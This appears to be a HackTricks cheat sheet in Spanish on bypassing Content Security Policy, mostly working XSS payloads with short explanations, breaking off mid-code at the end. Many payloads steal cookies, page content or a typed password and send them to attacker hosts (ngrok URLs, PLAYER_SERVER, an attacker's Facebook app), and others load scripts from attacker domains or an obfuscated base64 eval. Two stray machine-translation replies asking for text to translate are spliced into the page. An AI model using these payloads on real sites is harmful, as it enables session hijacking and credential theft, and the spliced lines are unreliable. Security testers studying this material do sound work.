Content Security Policy (CSP) Bypass

Reading time: 34 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es CSP?

Content Security Policy (CSP) es reconocida como una tecnología del navegador, destinada principalmente a proteger contra ataques como cross-site scripting (XSS). Funciona definiendo y especificando rutas y orígenes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan elementos como imágenes, frames y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos inline y la ejecución de código en forma de cadena mediante funciones como eval, setTimeout o setInterval.

La implementación de CSP se realiza a través de encabezados de respuesta o incorporando elementos meta en la página HTML. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean de inmediato cualquier violación detectada.

  • Implementado mediante encabezado de respuesta:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementado mediante la etiqueta meta:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Encabezados

CSP puede aplicarse o monitorearse usando estos encabezados:

  • Content-Security-Policy: Hace cumplir la CSP; el navegador bloquea cualquier violación.
  • Content-Security-Policy-Report-Only: Usado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.

Definiendo Recursos

CSP restringe los orígenes para la carga de contenido activo y pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de eval(). Un ejemplo de política es:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directivas

  • script-src: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts inline y scripts desencadenados por event handlers o estilos XSLT.
  • default-src: Establece una política por defecto para la obtención de recursos cuando faltan directivas de fetch específicas.
  • child-src: Especifica recursos permitidos para web workers y el contenido embebido de frames.
  • connect-src: Restringe las URLs que pueden cargarse usando interfaces como fetch, WebSocket, XMLHttpRequest.
  • frame-src: Restringe las URLs para frames.
  • frame-ancestors: Especifica qué fuentes pueden embeber la página actual, aplicable a elementos como <frame>, <iframe>, <object>, <embed>, y <applet>.
  • img-src: Define las fuentes permitidas para imágenes.
  • font-src: Especifica fuentes válidas para fonts cargadas usando @font-face.
  • manifest-src: Define las fuentes permitidas de archivos manifest de la aplicación.
  • media-src: Define las fuentes permitidas para cargar objetos multimedia.
  • object-src: Define las fuentes permitidas para los elementos <object>, <embed>, y <applet>.
  • base-uri: Especifica las URLs permitidas para cargarse usando elementos <base>.
  • form-action: Lista endpoints válidos para envíos de formularios.
  • plugin-types: Restringe los mime types que una página puede invocar.
  • upgrade-insecure-requests: Indica a los navegadores reescribir URLs HTTP a HTTPS.
  • sandbox: Aplica restricciones similares al atributo sandbox de un <iframe>.
  • report-to: Especifica un grupo al que se enviará un reporte si la política es violada.
  • worker-src: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
  • prefetch-src: Especifica fuentes válidas para recursos que serán fetch o prefetched.
  • navigate-to: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, form, window.location, window.open, etc.)

Fuentes

  • *: Permite todas las URLs excepto aquellas con esquemas data:, blob:, filesystem:.
  • 'self': Permite la carga desde el mismo dominio.
  • 'data': Permite que los recursos se carguen vía el esquema data (por ejemplo, imágenes codificadas en Base64).
  • 'none': Bloquea la carga desde cualquier fuente.
  • 'unsafe-eval': Permite el uso de eval() y métodos similares, no recomendado por razones de seguridad.
  • 'unsafe-hashes': Habilita manejadores de eventos inline específicos.
  • 'unsafe-inline': Permite el uso de recursos inline como <script> o <style> inline, no recomendado por razones de seguridad.
  • 'nonce': Una lista blanca para scripts inline específicos usando un nonce criptográfico (número usado una vez).
  • Si tienes JS con ejecución limitada es posible obtener un nonce usado dentro de la página con doc.defaultView.top.document.querySelector("[nonce]") y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes por lo que esto no es necesario), como en:
Cargar script reutilizando nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Incluye en la lista blanca scripts con un hash sha256 específico.
  • 'strict-dynamic': Permite cargar scripts desde cualquier origen si han sido incluidos en la lista blanca mediante un nonce o hash.
  • 'host': Especifica un host específico, como example.com.
  • https:: Restringe las URLs a las que usan HTTPS.
  • blob:: Permite cargar recursos desde Blob URLs (p. ej., Blob URLs creadas vía JavaScript).
  • filesystem:: Permite cargar recursos desde el sistema de archivos.
  • 'report-sample': Incluye una muestra del código que viola la política en el informe de violación (útil para depuración).
  • 'strict-origin': Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el del documento (solo orígenes seguros pueden cargar recursos desde orígenes seguros).
  • 'strict-origin-when-cross-origin': Envía URLs completas en peticiones de mismo origen pero solo envía el origen cuando la petición es de distinto origen.
  • 'unsafe-allow-redirects': Permite cargar recursos que redirigirán inmediatamente a otro recurso. No recomendado porque debilita la seguridad.

Reglas CSP inseguras

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload funcional: "/><script>alert(1);</script>

self + 'unsafe-inline' a través de Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Esto no funciona, para más información consulta esto.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload funcional:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si de alguna manera puedes lograr que un código JS permitido cree una nueva script tag en el DOM con tu código JS, porque un script permitido la está creando, la nueva script tag podrá ejecutarse.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload funcional:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src y default-src

[!CAUTION] > Parece que esto ya no funciona

yaml
Content-Security-Policy: script-src 'self' ;

Payloads funcionales:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

File Upload + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si puedes subir un archivo JS, puedes bypass este CSP:

Payload que funciona:

html
"/>'><script src="/uploads/picture.png.js"></script>

Sin embargo, es muy probable que el servidor esté validando el archivo subido y solo te permita subir cierto tipo de archivos.

Además, incluso si pudieras subir un JS code inside dentro de un archivo usando una extensión aceptada por el servidor (como: script.png), eso no sería suficiente porque algunos servidores como apache server seleccionan el MIME type del archivo basándose en la extensión y navegadores como Chrome rechazarán ejecutar Javascript dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, en un CTF aprendí que Apache doesn't know la extensión .wave, por lo tanto no la sirve con un MIME type like audio/*.

Desde aquí, si encuentras un XSS y una subida de archivos, y logras encontrar una extensión malinterpretada, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está comprobando el formato correcto del archivo subido, crea un polyglot (some polyglot examples here).

Form-action

Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales injecting a form action (y quizá esperando que los password managers auto-completen las contraseñas). Puedes encontrar un example in this report. Además, observa que default-src no cubre form actions.

Third Party Endpoints + ('unsafe-eval')

warning

Para algunos de los payload unsafe-eval ni siquiera es necesario.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Cargar una versión vulnerable de angular y ejecutar JS arbitrario:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + una librería con funciones que devuelven el objeto window (check out this post):

tip

El post muestra que podrías cargar todas las librerías desde cdn.cloudflare.com (o cualquier otro repo de librerías JS permitido), ejecutar todas las funciones añadidas de cada librería, y comprobar qué funciones de qué librerías devuelven el objeto window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS desde un nombre de clase:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abusando de google recaptcha JS code

Según this CTF writeup puedes abusar de https://www.google.com/recaptcha/ dentro de una CSP para ejecutar código JS arbitrario burlando la CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Más payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Abusar de www.google.com para open redirect

La siguiente URL redirige a example.com (desde here):

https://www.google.com/amp/s/example.com/

Abusando de *.google.com/script.google.com

Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hizo en este informe: done in this report.

Endpoints de terceros + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Escenarios como este, en los que script-src está establecido en self y un dominio particular está en la lista blanca, pueden ser eludidos usando JSONP. Los endpoints JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS. Payload funcional:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee contiene endpoints JSONP listos para usar para el bypass de CSP en diferentes sitios web.

La misma vulnerabilidad ocurrirá si el endpoint de confianza contiene un Open Redirect porque si el endpoint inicial es de confianza, las redirecciones también lo son.

Abusos de terceros

As described in the following post, hay muchos dominios de terceros que, si están permitidos en el CSP, pueden ser abusados para exfiltrate data o ejecutar código JavaScript. Algunos de estos terceros son:

EntidadDominio permitidoCapacidades
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas bypass del CSP registrándote en el servicio de terceros y, o bien, exfiltrate data hacia ese servicio o ejecutar código.

Por ejemplo, si encuentras el siguiente CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

No veo el contenido a traducir. Por favor pega aquí el contenido de src/pentesting-web/content-security-policy-csp-bypass/README.md que quieres que traduzca (mantendré intactos los tags, rutas y markdown).

Content-Security-Policy​: connect-src www.facebook.com;​

Deberías poder exfiltrar datos, de forma similar a como siempre se ha hecho con Google Analytics/Google Tag Manager. En este caso, sigue estos pasos generales:

  1. Crea una cuenta de Facebook Developer aquí.
  2. Crea una nueva app "Facebook Login" y selecciona "Website".
  3. Ve a "Settings -> Basic" y obtén tu "App ID"
  4. En el sitio objetivo del que quieres exfiltrar datos, puedes exfiltrar datos usando directamente el gadget del Facebook SDK "fbq" mediante un "customEvent" y la carga útil de datos.
  5. Ve al "Event Manager" de tu App y selecciona la aplicación que creaste (nota: el event manager puede encontrarse en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Selecciona la pestaña "Test Events" para ver los eventos enviados por "tu" sitio web.

Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el Facebook tracking pixel para apuntar al app-id de la cuenta de Facebook Developer del atacante y emitir un custom event como este:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, existen muchas otras formas de abusarlos. Refer to the previously blog post para explicaciones adicionales sobre otros abusos de terceros.

Bypass via RPO (Relative Path Overwrite)

Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, existe otra técnica llamada Relative Path Overwrite (RPO) que se puede usar en algunos servidores.

Por ejemplo, si CSP permite la ruta https://example.com/scripts/react/, puede eludirse de la siguiente manera:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

El navegador finalmente cargará https://example.com/scripts/angular/angular.js.

Esto funciona porque para el navegador estás cargando un archivo llamado ..%2fangular%2fangular.js ubicado bajo https://example.com/scripts/react/, lo cual cumple con CSP.

∑, el navegador lo decodificará, solicitando efectivamente https://example.com/scripts/react/../angular/angular.js, que es equivalente a https://example.com/scripts/angular/angular.js.

Al explotar esta inconsistencia en la interpretación de la URL entre el navegador y el servidor, se pueden eludir las reglas de ruta.

La solución es no tratar %2f como / en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.

Ejemplo online: https://jsbin.com/werevijewa/edit?html,output

Ejecución de JS en iframes

Iframes in XSS, CSP and SOP

Falta de base-uri

Si la directiva base-uri falta, puedes abusar de ella para realizar un dangling markup injection.

Además, si la página está cargando un script usando una ruta relativa (como <script src="/js/app.js">) usando un Nonce, puedes abusar de la base tag para que cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, utiliza una URL httpS en la base.

html
<base href="https://www.attacker.com/" />

Eventos de AngularJS

Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único $event, que referencia el objeto de evento nativo del navegador. Este objeto $event puede explotarse para eludir la CSP. En particular, en Chrome, el objeto $event/event posee un atributo path, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto window situado siempre al final. Esta estructura es crucial para las tácticas de sandbox escape.

Dirigiendo este array al filtro orderBy, es posible iterar sobre él y aprovechar el elemento final (el objeto window) para invocar una función global como alert(). El fragmento de código mostrado a continuación esclarece este proceso:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Este fragmento destaca el uso de la directiva ng-focus para activar el evento, empleando $event.path|orderBy para manipular el array path, y aprovechando el objeto window para ejecutar la función alert(), revelando así document.cookie.

Encuentra otros Angular bypasses en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS y whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Una política CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida mediante la invocación de funciones callback y ciertas clases vulnerables. Más información sobre esta técnica puede encontrarse en una guía detallada disponible en este git repository.

Working payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Otros endpoints de ejecución arbitraria JSONP se pueden encontrar en here (algunos de ellos fueron eliminados o corregidos)

Bypass via Redirection

¿Qué ocurre cuando CSP encuentra una redirección del lado del servidor? Si la redirección apunta a un origen distinto que no está permitido, seguirá fallando.

Sin embargo, según la descripción en CSP spec 4.2.2.3. Paths and Redirects, si la redirección conduce a una ruta diferente, puede eludir las restricciones originales.

Aquí tienes un ejemplo:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Si CSP está configurado a https://www.google.com/a/b/c/d, ya que la ruta se considera, ambos /test y /a/test scripts serán bloqueados por CSP.

Sin embargo, el final http://localhost:5555/301 será redirigido del lado del servidor a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Como es una redirección, la ruta no se considera, y el script puede cargarse, evadiendo así la restricción de ruta.

Con esta redirección, incluso si la ruta se especifica completamente, seguirá siendo evadida.

Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de open redirect y de que no haya dominios que puedan ser explotados en las reglas CSP.

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y img-src * significa que puedes usar en la página web cualquier imagen desde cualquier recurso.

Puedes bypass esta CSP exfiltrating los datos vía imágenes (en esta ocasión el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la flag vía una imagen):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

También podrías abusar de esta configuración para cargar código javascript insertado dentro de una imagen. Por ejemplo, si la página permite cargar imágenes desde Twitter. Podrías crear una imagen especial, subirla a Twitter y abusar de "unsafe-inline" para ejecutar un código JS (como un XSS normal) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con Service Workers

La función importScripts de Service Workers no está limitada por CSP:

Abusing Service Workers

Policy Injection

Research: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un parameter enviado por ti está siendo pegado dentro de la declaración de la policy, entonces podrías alterar la policy de alguna forma que la haga inútil. Podrías permitir script 'unsafe-inline' con cualquiera de estos bypasses:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta directiva va a sobrescribir las directivas script-src existentes.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

En Edge es mucho más simple. Si puedes añadir en el CSP esto: ;_ Edge eliminaría toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; vía XSS (iframe) - ataque por tiempo

Observa la ausencia de la directiva 'unsafe-inline'
En esta ocasión puedes hacer que la víctima cargue una página bajo tu control vía XSS con un <iframe. En esta ocasión harás que la víctima acceda a la página desde la que quieres extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargarse puedes extraer la información que necesitas.

Esta vez se va a extraer una flag: cada vez que un char sea adivinado correctamente vía SQLi, la respuesta tarda más tiempo debido a la función sleep. Entonces, podrás extraer la flag:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

Este ataque implicaría ingeniería social: el atacante convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código malicioso javascript que, cuando fuera drag&dropped o clicked, se ejecutaría en el contexto de la ventana web actual, bypassing CSP y permitiendo robar información sensible como cookies o tokens.

For more information check the original report here.

CSP bypass by restricting CSP

En this CTF writeup, CSP is bypassed inyectando dentro de un iframe permitido un CSP más restrictivo que impedía cargar un archivo JS específico que, luego, mediante prototype pollution o dom clobbering, permitía abusar de un script diferente para cargar un script arbitrario.

Puedes restringir el CSP de un Iframe con el atributo csp:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

En this CTF writeup, fue posible vía HTML injection restringir más una CSP de modo que un script que prevenía CSTI quedara deshabilitado y, por lo tanto, la vulnerabilidad se volvió explotable.
La CSP puede hacerse más restrictiva usando HTML meta tags y los inline scripts pueden desactivarse eliminando la entrada que permite su nonce y habilitar un inline script específico vía sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

Si puedes hacer que el servidor responda con la cabecera Content-Security-Policy-Report-Only con un valor controlado por ti (tal vez por un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que quieres exfiltrar con <script> y, dado que es muy probable que unsafe-inline no esté permitido por la CSP, esto disparará un error de CSP y parte del script (conteniendo la información sensible) será enviado al servidor desde Content-Security-Policy-Report-Only.

For an example check this CTF writeup.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking Information with CSP and Iframe

  • Se crea un iframe que apunta a una URL (llamémosla https://example.redirect.com) que está permitida por CSP.
  • Esta URL redirige a una URL secreta (p. ej., https://usersecret.example2.com) que no está permitida por CSP.
  • Al escuchar el evento securitypolicyviolation, se puede capturar la propiedad blockedURI. Esta propiedad revela el dominio del URI bloqueado, leaking el dominio secreto al que la URL inicial redirigió.

Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que puede conducir a la filtración de información sensible debido a un comportamiento indefinido.

Otra técnica consiste en explotar el propio CSP para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que sean deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente distintos subdominios modificando la directiva CSP para bloquear o permitir esos subdominios. Aquí hay un fragmento que muestra cómo podría configurarse el CSP para facilitar este método:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Al monitorizar qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir el conjunto de caracteres posibles en el subdominio secreto, eventualmente descubriendo la URL completa.

Ambos métodos explotan las particularidades de la implementación de la CSP y el comportamiento en los navegadores, demostrando cómo políticas aparentemente seguras pueden inadvertidamente leak información sensible.

Trick from here.

Tecnologías inseguras para eludir CSP

Errores de PHP cuando hay demasiados parámetros

According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header() in the PHP web code no se enviará because of the error that this will trigger.

Sobrecarga del buffer de respuesta de PHP

PHP es conocido por almacenar en buffer la respuesta hasta 4096 bytes por defecto. Por tanto, si PHP muestra una advertencia, proporcionando suficientes datos dentro de las advertencias, la respuesta será enviada antes del CSP header, causando que el header sea ignorado.
Entonces, la técnica consiste básicamente en llenar el buffer de respuesta con advertencias para que el header CSP no se envíe.

Idea from this writeup.

Matar CSP vía max_input_vars (headers already sent)

Because headers must be sent before any output, warnings emitted by PHP can invalidate later header() calls. If user input exceeds max_input_vars, PHP throws a startup warning first; any subsequent header('Content-Security-Policy: ...') will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

No has proporcionado el contenido a traducir. Pega el texto del archivo src/pentesting-web/content-security-policy-csp-bypass/README.md y lo traduciré manteniendo el markdown y las reglas indicadas.

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

Reescribir la página de error

Desde this writeup parece que era posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
